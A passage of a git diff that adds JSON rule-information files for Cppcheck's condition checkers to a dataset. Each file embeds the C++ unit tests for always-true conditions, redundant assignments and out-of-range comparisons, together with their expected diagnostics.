'x' is always true [knownConditionTrueFalse]\\n\", errout_str());\n\n // #9578\n check(\"bool f(const std::string &s) {\\n\"\n \" return s.size()>2U && s[0]=='4' && s[0]=='2';\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:35] -> [test.cpp:2:48]: (style) Return value 's[0]=='2'' is always false [knownConditionTrueFalse]\\n\", errout_str());\n\n check(\"void f(int i) { if (i == 1 || 2) {} }\\n\"); // #12487\n ASSERT_EQUALS(\"[test.cpp:1:28]: (style) Condition 'i==1||2' is always true [knownConditionTrueFalse]\\n\", errout_str());\n\n check(\"enum E { E1 = 1, E2 = 2 };\\n\"\n \"void f(int i) { if (i == E1 || E2) {} }\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:29]: (style) Condition 'i==E1||E2' is always true [knownConditionTrueFalse]\\n\", errout_str());\n }\n\n void pointerAdditionResultNotNull() {\n check(\"void f(char *ptr) {\\n\"\n \" if (ptr + 1 != 0);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:15]: (warning) Comparison is wrong. Result of 'ptr+1' can't be 0 unless there is pointer overflow, and pointer overflow is undefined behaviour. [pointerAdditionResultNotNull]\\n\", errout_str());\n }\n\n void duplicateConditionalAssign() {\n setMultiline();\n\n check(\"void f(int& x, int y) {\\n\"\n \" if (x == y)\\n\"\n \" x = y;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:11]: style: Assignment 'x=y' is redundant with condition 'x==y'. [duplicateConditionalAssign]\\n\"\n \"[test.cpp:2:11]: note: Condition 'x==y'\\n\"\n \"[test.cpp:3:11]: note: Assignment 'x=y' is redundant\\n\", errout_str());\n\n check(\"void f(int& x, int y) {\\n\"\n \" if (x != y)\\n\"\n \" x = y;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:11]: style: The statement 'if (x!=y) x=y' is logically equivalent to 'x=y'. [duplicateConditionalAssign]\\n\"\n \"[test.cpp:3:11]: note: Assignment 'x=y'\\n\"\n \"[test.cpp:2:11]: note: Condition 'x!=y' is redundant\\n\", errout_str());\n\n check(\"void f(int& x, int y) {\\n\"\n \" if (x == y)\\n\"\n \" x = y;\\n\"\n \" else\\n\"\n \" x = 1;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:11]: style: Assignment 'x=y' is redundant with condition 'x==y'. [duplicateConditionalAssign]\\n\"\n \"[test.cpp:2:11]: note: Condition 'x==y'\\n\"\n \"[test.cpp:3:11]: note: Assignment 'x=y' is redundant\\n\", errout_str());\n\n check(\"void f(int& x, int y) {\\n\"\n \" if (x != y)\\n\"\n \" x = y;\\n\"\n \" else\\n\"\n \" x = 1;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(int& x, int y) {\\n\"\n \" if (x == y)\\n\"\n \" x = y + 1;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void g();\\n\"\n \"void f(int& x, int y) {\\n\"\n \" if (x == y) {\\n\"\n \" x = y;\\n\"\n \" g();\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"bool f(bool b) {\\n\"\n \" if (b)\\n\"\n \" b = false;\\n\"\n \" else\\n\"\n \" g();\\n\"\n \" return b;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(int& i) {\\n\"\n \" if (!i)\\n\"\n \" i = 1; \\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct S {\\n\" // #9406\n \" S() : b(false) {}\\n\"\n \" void f() {\\n\"\n \" if (b) b = true;\\n\"\n \" if (b) b = false;\\n\"\n \" if (!b) b = true;\\n\"\n \" if (!b) b = false;\\n\"\n \" }\\n\"\n \" bool b;\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"[test.cpp:4:13]: style: The statement 'if (b) b=true' is redundant. [duplicateConditionalAssign]\\n\"\n \"[test.cpp:4:18]: note: Assignment 'b=true'\\n\"\n \"[test.cpp:4:13]: note: Condition 'b' is redundant\\n\"\n \"[test.cpp:5:13]: style: The statement 'if (b) b=false' is logically equivalent to 'b=false'. [duplicateConditionalAssign]\\n\"\n \"[test.cpp:5:18]: note: Assignment 'b=false'\\n\"\n \"[test.cpp:5:13]: note: Condition 'b' is redundant\\n\"\n \"[test.cpp:6:13]: style: The statement 'if (!b) b=true' is logically equivalent to 'b=true'. [duplicateConditionalAssign]\\n\"\n \"[test.cpp:6:19]: note: Assignment 'b=true'\\n\"\n \"[test.cpp:6:13]: note: Condition '!b' is redundant\\n\"\n \"[test.cpp:7:13]: style: The statement 'if (!b) b=false' is redundant. [duplicateConditionalAssign]\\n\"\n \"[test.cpp:7:19]: note: Assignment 'b=false'\\n\"\n \"[test.cpp:7:13]: note: Condition '!b' is redundant\\n\",\n errout_str());\n }\n\n void checkAssignmentInCondition() {\n check(\"void f(std::string s) {\\n\"\n \" if (s=\\\"123\\\"){}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:10]: (style) Suspicious assignment in condition. Condition 's=\\\"123\\\"' is always true. [assignmentInCondition]\\n\", errout_str());\n\n check(\"void f(std::string *p) {\\n\"\n \" if (p=foo()){}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(uint32_t u) {\\n\" // #2490\n \" if ((u = 0x00000000) || (u = 0xffffffff)) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:12]: (style) Condition 'u=0x00000000' is always false [knownConditionTrueFalse]\\n\"\n \"[test.cpp:2:32]: (style) Condition 'u=0xffffffff' is always true [knownConditionTrueFalse]\\n\",\n errout_str());\n }\n\n void compareOutOfTypeRange() {\n const Settings settingsUnix64 = settingsBuilder().severity(Severity::style).platform(Platform::Type::Unix64).build();\n\n check(\"void f(unsigned char c) {\\n\"\n \" if (c == 256) {}\\n\"\n \"}\", dinit(CheckOptions, $.s = &settingsUnix64));\n ASSERT_EQUALS(\"[test.cpp:2:12]: (style) Comparing expression of type 'unsigned char' against value 256. Condition is always false. [compareValueOutOfTypeRangeError]\\n\", errout_str());\n\n check(\"void f(unsigned char* b, int i) {\\n\" // #6372\n \" if (b[i] == 256) {}\\n\"\n \"}\", dinit(CheckOptions, $.s = &settingsUnix64));\n ASSERT_EQUALS(\"[test.cpp:2:15]: (style) Comparing expression of type 'unsigned char' against value 256. Condition is always false. [compareValueOutOfTypeRangeError]\\n\", errout_str());\n\n check(\"void f(unsigned char c) {\\n\"\n \" if (c == 255) {}\\n\"\n \"}\", dinit(CheckOptions, $.s = &settingsUnix64));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(bool b) {\\n\"\n \" if (b == true) {}\\n\"\n \"}\", dinit(CheckOptions, $.s = &settingsUnix64));\n ASSERT_EQUALS(\"\", errout_str());\n\n // #10372\n check(\"void f(signed char x) {\\n\"\n \" if (x == 0xff) {}\\n\"\n \"}\", dinit(CheckOptions, $.s = &settingsUnix64));\n ASSERT_EQUALS(\"[test.cpp:2:12]: (style) Comparing expression of type 'signed char' against value 255. Condition is always false. [compareValueOutOfTypeRangeError]\\n\", errout_str());\n\n check(\"void f(short x) {\\n\"\n \" if (x == 0xffff) {}\\n\"\n \"}\", dinit(CheckOptions, $.s = &settingsUnix64));\n ASSERT_EQUALS(\"[test.cpp:2:12]: (style) Comparing expression of type 'signed short' against value 65535. Condition is always false. [compareValueOutOfTypeRangeError]\\n\", errout_str());\n\n check(\"void f(int x) {\\n\"\n \" if (x == 0xffffffff) {}\\n\"\n \"}\", dinit(CheckOptions, $.s = &settingsUnix64));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(long x) {\\n\"\n \" if (x == ~0L) {}\\n\"\n \"}\", dinit(CheckOptions, $.s = &settingsUnix64));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(long long x) {\\n\"\n \" if (x == ~0LL) {}\\n\"\n \"}\", dinit(CheckOptions, $.s = &settingsUnix64));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int f(int x) {\\n\"\n \" const int i = 0xFFFFFFFF;\\n\"\n \" if (x == i) {}\\n\"\n \"}\", dinit(CheckOptions, $.s = &settingsUnix64));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" char c;\\n\"\n \" if ((c = foo()) != -1) {}\\n\"\n \"}\", dinit(CheckOptions, $.s = &settingsUnix64));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(int x) {\\n\"\n \" if (x < 3000000000) {}\\n\"\n \"}\", dinit(CheckOptions, $.s = &settingsUnix64));\n ASSERT_EQUALS(\"[test.cpp:2:11]: (style) Comparing expression of type 'signed int' against value 3000000000. Condition is always true. [compareValueOutOfTypeRangeError]\\n\", errout_str());\n\n check(\"void f(const signed char i) {\\n\" // #8545\n \" if (i > -129) {}\\n\" // warn\n \" if (i >= -128) {}\\n\" // warn\n \" if (i >= -127) {}\\n\"\n \" if (i < +128) {}\\n\" // warn\n \" if (i <= +127) {}\\n\" // warn\n \" if (i <= +126) {}\\n\"\n \"}\\n\", dinit(CheckOptions, $.s = &settingsUnix64));\n ASSERT_EQUALS(\"[test.cpp:2:15]: (style) Comparing expression of type 'const signed char' against value -129. Condition is always true. [compareValueOutOfTypeRangeError]\\n\"\n \"[test.cpp:3:15]: (style) Comparing expression of type 'const signed char' against value -128. Condition is always true. [compareValueOutOfTypeRangeError]\\n\"\n \"[test.cpp:5:15]: (style) Comparing expression of type 'const signed char' against value 128. Condition is always true. [compareValueOutOfTypeRangeError]\\n\"\n \"[test.cpp:6:15]: (style) Comparing expression of type 'const signed char' against value 127. Condition is always true. [compareValueOutOfTypeRangeError]\\n\",\n errout_str());\n\n check(\"void f(const unsigned char u) {\\n\"\n \" if (u > 0) {}\\n\"\n \" if (u < 0) {}\\n\" // warn\n \" if (u >= 0) {}\\n\" // warn\n \" if (u <= 0) {}\\n\"\n \" if (u > 255) {}\\n\" // warn\n \" if (u < 255) {}\\n\"\n \" if (u >= 255) {}\\n\"\n \" if (u <= 255) {}\\n\" // warn\n \" if (0 < u) {}\\n\"\n \" if (0 > u) {}\\n\" // warn\n \" if (0 <= u) {}\\n\" // warn\n \" if (0 >= u) {}\\n\"\n \" if (255 < u) {}\\n\" // warn\n \" if (255 > u) {}\\n\"\n \" if (255 <= u) {}\\n\"\n \" if (255 >= u) {}\\n\" // warn\n \"}\\n\", dinit(CheckOptions, $.s = &settingsUnix64));\n ASSERT_EQUALS(\"[test.cpp:3:14]: (style) Comparing expression of type 'const unsigned char' against value 0. Condition is always false. [compareValueOutOfTypeRangeError]\\n\"\n \"[test.cpp:4:14]: (style) Comparing expression of type 'const unsigned char' against value 0. Condition is always true. [compareValueOutOfTypeRangeError]\\n\"\n \"[test.cpp:6:14]: (style) Comparing expression of type 'const unsigned char' against value 255. Condition is always false. [compareValueOutOfTypeRangeError]\\n\"\n \"[test.cpp:9:14]: (style) Comparing expression of type 'const unsigned char' against value 255. Condition is always true. [compareValueOutOfTypeRangeError]\\n\"\n \"[test.cpp:11:9]: (style) Comparing expression of type 'const unsigned char' against value 0. Condition is always false. [compareValueOutOfTypeRangeError]\\n\"\n \"[test.cpp:12:9]: (style) Comparing expression of type 'const unsigned char' against value 0. Condition is always true. [compareValueOutOfTypeRangeError]\\n\"\n \"[test.cpp:14:9]: (style) Comparing expression of type 'const unsigned char' against value 255. Condition is always false. [compareValueOutOfTypeRangeError]\\n\"\n \"[test.cpp:17:9]: (style) Comparing expression of type 'const unsigned char' against value 255. Condition is always true. [compareValueOutOfTypeRangeError]\\n\",\n errout_str());\n }\n\n void knownConditionCast() {\n check(\"void f(int i) {\\n\" // #9976\n \" if (i < 0 || (unsigned)i > 5) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct B {\\n\" // #12941\n \" virtual void f();\\n\"\n \"};\\n\"\n \"struct One : public B {};\\n\"\n \"struct Two : public B {};\\n\"\n \"void g(const B& b) {\\n\"\n \" const Two* two = nullptr;\\n\"\n \" const One* one = dynamic_cast(&b);\\n\"\n \" if (one == nullptr)\\n\"\n \" two = dynamic_cast(&b);\\n\"\n \" if (two) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void knownConditionIncrementLoop() { // #9808\n check(\"void f() {\\n\"\n \" int a = 0;\\n\"\n \" while (++a < 5) {}\\n\"\n \" if (a == 1) {}\\n\"\n \" std::cout << a;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void knownConditionAfterBailout() { // #12526\n check(\n \"#include \\n\"\n \"int func()\\n\"\n \"{\\n\"\n \" return VALUE_1;\"\n \"}\\n\"\n \"\\n\"\n \"struct S1 {\\n\"\n \" bool b{};\\n\"\n \"};\\n\"\n \"\\n\"\n \"struct S {\\n\"\n \" void f(const std::list& l) const\\n\"\n \" {\\n\"\n \" if (mS.b)\\n\"\n \" return;\\n\"\n \" for (int i : l)\\n\"\n \" {\\n\"\n \" (void)i;\\n\"\n \" if (mS.b)\\n\"\n \" continue;\\n\"\n \" }\\n\"\n \" }\\n\"\n \"\\n\"\n \" S1 mS;\\n\"\n \"};\"\n );\n ASSERT_EQUALS(\"[test.cpp:13:11] -> [test.cpp:18:13]: (style) Condition 'mS.b' is always false [knownConditionTrueFalse]\\n\", errout_str());\n }\n\n void knownConditionIncDecOperator() {\n check(\n \"void f() {\\n\"\n \" unsigned int d = 0;\\n\"\n \" for (int i = 0; i < 4; ++i) {\\n\"\n \" if (i < 3)\\n\"\n \" ++d;\\n\"\n \" else if (--d == 0)\\n\"\n \" ;\\n\"\n \" }\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void knownConditionFloating() {\n check(\"void foo() {\\n\" // #11199\n \" float f = 1.0;\\n\"\n \" if (f > 1.0f) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:11]: (style) Condition 'f>1.0f' is always false [knownConditionTrueFalse]\\n\", errout_str());\n\n check(\"void foo() {\\n\" // #11199\n \" float f = 1.0;\\n\"\n \" if (f > 1.0L) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:11]: (style) Condition 'f>1.0L' is always false [knownConditionTrueFalse]\\n\", errout_str());\n\n check(\"void foo() {\\n\" // #11199\n \" float f = 1.0f;\\n\"\n \" if (f > 1.0) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:11]: (style) Condition 'f>1.0' is always false [knownConditionTrueFalse]\\n\", errout_str());\n\n check(\"void foo() {\\n\" // #11199\n \" float f = 1.0f;\\n\"\n \" if (f > 1.0L) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:11]: (style) Condition 'f>1.0L' is always false [knownConditionTrueFalse]\\n\", errout_str());\n\n check(\"void foo() {\\n\" // #11199\n \" float f = 1.0L;\\n\"\n \" if (f > 1.0) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:11]: (style) Condition 'f>1.0' is always false [knownConditionTrueFalse]\\n\", errout_str());\n\n check(\"void foo() {\\n\" // #11199\n \" float f = 1.0L;\\n\"\n \" if (f > 1.0f) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:11]: (style) Condition 'f>1.0f' is always false [knownConditionTrueFalse]\\n\", errout_str());\n\n check(\"void foo() {\\n\" // #11201\n \" float f = 0x1.4p+3;\\n\" // hex fraction 1.4 (decimal 1.25) scaled by 2^3, that is 10.0\n \" if (f > 9.9) {}\\n\"\n \" if (f < 9.9) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\n \"[test.cpp:3:11]: (style) Condition 'f>9.9' is always true [knownConditionTrueFalse]\\n\"\n \"[test.cpp:4:11]: (style) Condition 'f<9.9' is always false [knownConditionTrueFalse]\\n\",\n errout_str());\n\n check(\"void foo() {\\n\" // #12330\n \" double d = 1.0;\\n\"\n \" if (d < 0.0) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:11]: (style) Condition 'd<0.0' is always false [knownConditionTrueFalse]\\n\", errout_str());\n\n check(\"void foo() {\\n\" // #12330\n \" long double ld = 1.0;\\n\"\n \" if (ld < 0.0) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:12]: (style) Condition 'ld<0.0' is always false [knownConditionTrueFalse]\\n\", errout_str());\n\n check(\"void foo() {\\n\" // #12330\n \" float f = 1.0;\\n\"\n \" if (f < 0.0) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:11]: (style) Condition 'f<0.0' is always false [knownConditionTrueFalse]\\n\", errout_str());\n\n check(\"void foo() {\\n\" // #12774\n \" float f = 1.0f;\\n\"\n \" if (f > 1.01f) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\n \"[test.cpp:3:11]: (style) Condition 'f>1.01f' is always false [knownConditionTrueFalse]\\n\",\n errout_str());\n\n check(\"void foo() {\\n\" // #12774\n \" float f = 1.0;\\n\"\n \" if (f > 1.01) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\n \"[test.cpp:3:11]: (style) Condition 'f>1.01' is always false [knownConditionTrueFalse]\\n\",\n errout_str());\n\n check(\"void foo() {\\n\"\n \" float f = 1.0f;\\n\"\n \" if (f > 1) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\n \"[test.cpp:3:11]: (style) Condition 'f>1' is always false [knownConditionTrueFalse]\\n\",\n errout_str());\n\n check(\"void foo() {\\n\" // #13508\n \" float f = 1.0f;\\n\"\n \" if (f > 1.00f) {}\\n\"\n \"}\\n\");\n TODO_ASSERT_EQUALS(\n \"[test.cpp:3]: (style) Condition 'f>1.00f' is always false\\n\",\n \"\",\n errout_str());\n\n check(\"void foo() {\\n\"\n \" float f = 1.0;\\n\"\n \" if (f > 1) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\n \"[test.cpp:3:11]: (style) Condition 'f>1' is always false [knownConditionTrueFalse]\\n\",\n errout_str());\n\n check(\"void foo() {\\n\"// #13508\n \" float f = 1.0;\\n\"\n \" if (f > 1.00) {}\\n\"\n \"}\\n\");\n TODO_ASSERT_EQUALS(\n \"[test.cpp:3]: (style) Condition 'f>1.00' is always false\\n\",\n \"\",\n errout_str());\n\n check(\"void foo() {\\n\" // #13506\n \" float nf = -1.0;\\n\"\n \" if (nf > +1.0) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\n \"[test.cpp:3:12]: (style) Condition 'nf>+1.0' is always false [knownConditionTrueFalse]\\n\",\n errout_str());\n\n check(\"void foo() {\\n\" // #11200\n \" float f = 1.0;\\n\"\n \" if (f > -1.0) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\n \"[test.cpp:3:11]: (style) Condition 'f>-1.0' is always true [knownConditionTrueFalse]\\n\",\n errout_str());\n\n check(\"void foo() {\\n\" // #13508\n \" float f = 1.0;\\n\"\n \" if (f > 1.0) {}\\n\"\n \"}\\n\");\n TODO_ASSERT_EQUALS(\n \"[test.cpp:3]: (style) Condition 'f>1.0' is always true\\n\",\n \"\",\n errout_str());\n\n check(\"void foo() {\\n\" // #11200\n \" float pf = +1.0;\\n\"\n \" if (pf > -1.0) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\n \"[test.cpp:3:12]: (style) Condition 'pf>-1.0' is always true [knownConditionTrueFalse]\\n\",\n errout_str());\n\n check(\"void foo() {\\n\" // #13508\n \" float pf = +1.0;\\n\"\n \" if (pf > 1.0) {}\\n\"\n \"}\\n\");\n TODO_ASSERT_EQUALS(\n \"[test.cpp:3]: (style) Condition 'pf>1.0' is always true\\n\",\n \"\",\n errout_str());\n\n check(\"void foo() {\\n\" // #11200\n \" float nf = -1.0;\\n\"\n \" if (nf > 1.0) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\n \"[test.cpp:3:12]: (style) Condition 'nf>1.0' is always false [knownConditionTrueFalse]\\n\",\n errout_str());\n\n check(\"void foo() {\\n\" // / #13508\n \" float nf = -1.0;\\n\"\n \" if (nf > -1.0) {}\\n\"\n \"}\\n\");\n TODO_ASSERT_EQUALS(\n \"[test.cpp:3]: (style) Condition 'nf>-1.0' is always false\\n\",\n \"\",\n errout_str());\n }\n};\n\nREGISTER_TEST(TestCondition)\n" + } + ] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/cppcheck/Rule Information/checkers/CheckCondition/comparison.json b/Raw Data/Static Analysis Tool/cppcheck/Rule Information/checkers/CheckCondition/comparison.json new file mode 100644 index 0000000..4dc027c --- /dev/null +++ b/Raw Data/Static Analysis Tool/cppcheck/Rule Information/checkers/CheckCondition/comparison.json @@ -0,0 +1,22 @@ +{ + "name": "comparison", + "language": "cpp", + "description": null, + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "cpp", + "loc": 60, + "branches": 28, + "apis": 66, + "test": [ + { + "description": null, + "expected-problems": 1, + "expected-linenumbers": [ + 433 + ], + "code": "\n/*\n * Cppcheck - A tool for static C/C++ code analysis\n * Copyright (C) 2007-2025 Cppcheck team.\n *\n * This program is free software: you can redistribute it and/or modify\n * it under the terms of the GNU General Public License as published by\n * the Free Software Foundation, either version 3 of the License, or\n * (at your option) any later version.\n *\n * This program is distributed in the hope that it will be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the\n * GNU General Public License for more details.\n *\n * You should have received a copy of the GNU General Public License\n * along with this program. If not, see .\n */\n\n#include \"checkcondition.h\"\n#include \"errortypes.h\"\n#include \"fixture.h\"\n#include \"helpers.h\"\n#include \"platform.h\"\n#include \"settings.h\"\n\n#include \n#include \n#include \n\nclass TestCondition : public TestFixture {\npublic:\n TestCondition() : TestFixture(\"TestCondition\") {}\n\nprivate:\n const Settings settings0 = settingsBuilder().library(\"qt.cfg\").library(\"std.cfg\").severity(Severity::style).severity(Severity::warning).build();\n /*const*/ Settings settings1 = settingsBuilder().severity(Severity::style).severity(Severity::warning).build();\n\n void run() override {\n const char cfg[] = \"\\n\"\n \"\\n\"\n \" \\n\"\n \"\";\n settings1 = settingsBuilder(settings1).libraryxml(cfg).build();\n\n mNewTemplate = true;\n TEST_CASE(assignAndCompare); // assignment and comparison don't match\n TEST_CASE(mismatchingBitAnd); // overlapping bitmasks\n TEST_CASE(comparison); // CheckCondition::comparison test cases\n TEST_CASE(multicompare); // mismatching comparisons\n TEST_CASE(overlappingElseIfCondition); // overlapping conditions in if and else-if\n TEST_CASE(oppositeElseIfCondition); // opposite conditions in if and else-if\n\n TEST_CASE(checkBadBitmaskCheck);\n\n TEST_CASE(incorrectLogicOperator1);\n TEST_CASE(incorrectLogicOperator2);\n TEST_CASE(incorrectLogicOperator3);\n TEST_CASE(incorrectLogicOperator4);\n TEST_CASE(incorrectLogicOperator5); // complex expressions\n TEST_CASE(incorrectLogicOperator6); // char literals\n TEST_CASE(incorrectLogicOperator7); // opposite expressions: (expr || !expr)\n TEST_CASE(incorrectLogicOperator8); // !\n TEST_CASE(incorrectLogicOperator9);\n TEST_CASE(incorrectLogicOperator10); // enum\n TEST_CASE(incorrectLogicOperator11);\n TEST_CASE(incorrectLogicOperator12);\n TEST_CASE(incorrectLogicOperator13);\n TEST_CASE(incorrectLogicOperator14);\n TEST_CASE(incorrectLogicOperator15);\n TEST_CASE(incorrectLogicOperator16); // #10070\n TEST_CASE(incorrectLogicOperator17);\n TEST_CASE(secondAlwaysTrueFalseWhenFirstTrueError);\n TEST_CASE(incorrectLogicOp_condSwapping);\n TEST_CASE(testBug5895);\n TEST_CASE(testBug5309);\n\n TEST_CASE(modulo);\n\n TEST_CASE(oppositeInnerCondition);\n TEST_CASE(oppositeInnerConditionPointers);\n TEST_CASE(oppositeInnerConditionClass);\n TEST_CASE(oppositeInnerConditionUndeclaredVariable);\n TEST_CASE(oppositeInnerConditionAlias);\n TEST_CASE(oppositeInnerCondition2);\n TEST_CASE(oppositeInnerCondition3);\n TEST_CASE(oppositeInnerConditionAnd);\n TEST_CASE(oppositeInnerConditionOr);\n TEST_CASE(oppositeInnerConditionEmpty);\n TEST_CASE(oppositeInnerConditionFollowVar);\n TEST_CASE(oppositeInnerConditionLambda);\n\n TEST_CASE(identicalInnerCondition);\n\n TEST_CASE(identicalConditionAfterEarlyExit);\n TEST_CASE(innerConditionModified);\n\n TEST_CASE(clarifyCondition1); // if (a = b() < 0)\n TEST_CASE(clarifyCondition2); // if (a & b == c)\n TEST_CASE(clarifyCondition3); // if (! a & b)\n TEST_CASE(clarifyCondition4); // ticket #3110\n TEST_CASE(clarifyCondition5); // #3609 CWinTraits..\n TEST_CASE(clarifyCondition6); // #3818\n TEST_CASE(clarifyCondition7);\n TEST_CASE(clarifyCondition8);\n\n TEST_CASE(alwaysTrue);\n TEST_CASE(alwaysTrueSymbolic);\n TEST_CASE(alwaysTrueInfer);\n TEST_CASE(alwaysTrueContainer);\n TEST_CASE(alwaysTrueLoop);\n TEST_CASE(alwaysTrueTryCatch);\n TEST_CASE(multiConditionAlwaysTrue);\n TEST_CASE(duplicateCondition);\n\n TEST_CASE(checkInvalidTestForOverflow);\n TEST_CASE(checkConditionIsAlwaysTrueOrFalseInsideIfWhile);\n TEST_CASE(alwaysTrueFalseInLogicalOperators);\n TEST_CASE(pointerAdditionResultNotNull);\n TEST_CASE(duplicateConditionalAssign);\n\n TEST_CASE(checkAssignmentInCondition);\n TEST_CASE(compareOutOfTypeRange);\n TEST_CASE(knownConditionCast); // #9976\n TEST_CASE(knownConditionIncrementLoop); // #9808\n TEST_CASE(knownConditionAfterBailout); // #12526\n TEST_CASE(knownConditionIncDecOperator);\n TEST_CASE(knownConditionFloating);\n }\n\n struct CheckOptions\n {\n CheckOptions() = default;\n const Settings* s = nullptr;\n bool cpp = true;\n bool inconclusive = false;\n };\n\n#define check(...) check_(__FILE__, __LINE__, __VA_ARGS__)\n void check_(const char* file, int line, const char code[], const CheckOptions& options = make_default_obj()) {\n const Settings settings = settingsBuilder(options.s ? *options.s : settings0).certainty(Certainty::inconclusive, options.inconclusive).build();\n\n SimpleTokenizer2 tokenizer(settings, *this, code, options.cpp ? \"test.cpp\" : \"test.c\");\n\n // Tokenizer..\n ASSERT_LOC(tokenizer.simplifyTokens1(\"\"), file, line);\n\n // Run checks..\n runChecks(tokenizer, this);\n }\n\n#define checkP(...) checkP_(__FILE__, __LINE__, __VA_ARGS__)\n void checkP_(const char* file, int line, const char code[])\n {\n const Settings settings = settingsBuilder(settings0).severity(Severity::performance).certainty(Certainty::inconclusive).build();\n\n SimpleTokenizer2 tokenizer(settings, *this, code, \"test.cpp\");\n\n // Tokenizer..\n ASSERT_LOC(tokenizer.simplifyTokens1(\"\"), file, line);\n\n // Run checks..\n runChecks(tokenizer, this);\n }\n\n void assignAndCompare() {\n // &\n check(\"void foo(int x)\\n\"\n \"{\\n\"\n \" int y = x & 4;\\n\"\n \" if (y == 3);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:11] -> [test.cpp:4:8]: (style) Mismatching assignment and comparison, comparison 'y==3' is always false. [assignIfError]\\n\", errout_str());\n\n check(\"void foo(int x)\\n\"\n \"{\\n\"\n \" int y = x & 4;\\n\"\n \" if (y != 3);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:11] -> [test.cpp:4:8]: (style) Mismatching assignment and comparison, comparison 'y!=3' is always true. [assignIfError]\\n\", errout_str());\n\n // |\n check(\"void foo(int x) {\\n\"\n \" int y = x | 0x14;\\n\"\n \" if (y == 0x710);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:11] -> [test.cpp:3:8]: (style) Mismatching assignment and comparison, comparison 'y==0x710' is always false. [assignIfError]\\n\", errout_str());\n\n check(\"void foo(int x) {\\n\"\n \" int y = x | 0x14;\\n\"\n \" if (y == 0x71f);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // various simple assignments\n check(\"void foo(int x) {\\n\"\n \" int y = (x+1) | 1;\\n\"\n \" if (y == 2);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:11] -> [test.cpp:3:8]: (style) Mismatching assignment and comparison, comparison 'y==2' is always false. [assignIfError]\\n\", errout_str());\n\n check(\"void foo() {\\n\"\n \" int y = 1 | x();\\n\"\n \" if (y == 2);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:11] -> [test.cpp:3:8]: (style) Mismatching assignment and comparison, comparison 'y==2' is always false. [assignIfError]\\n\", errout_str());\n\n // multiple conditions\n check(\"void foo(int x) {\\n\"\n \" int y = x & 4;\\n\"\n \" if ((y == 3) && (z == 1));\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:11] -> [test.cpp:3:9]: (style) Mismatching assignment and comparison, comparison 'y==3' is always false. [assignIfError]\\n\", errout_str());\n\n check(\"void foo(int x) {\\n\"\n \" int y = x & 4;\\n\"\n \" if ((x==123) || ((y == 3) && (z == 1)));\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:11] -> [test.cpp:3:22]: (style) Mismatching assignment and comparison, comparison 'y==3' is always false. [assignIfError]\\n\", errout_str());\n\n check(\"void f(int x) {\\n\"\n \" int y = x & 7;\\n\"\n \" if (setvalue(&y) && y != 8);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // recursive checking into scopes\n check(\"void f(int x) {\\n\"\n \" int y = x & 7;\\n\"\n \" if (z) 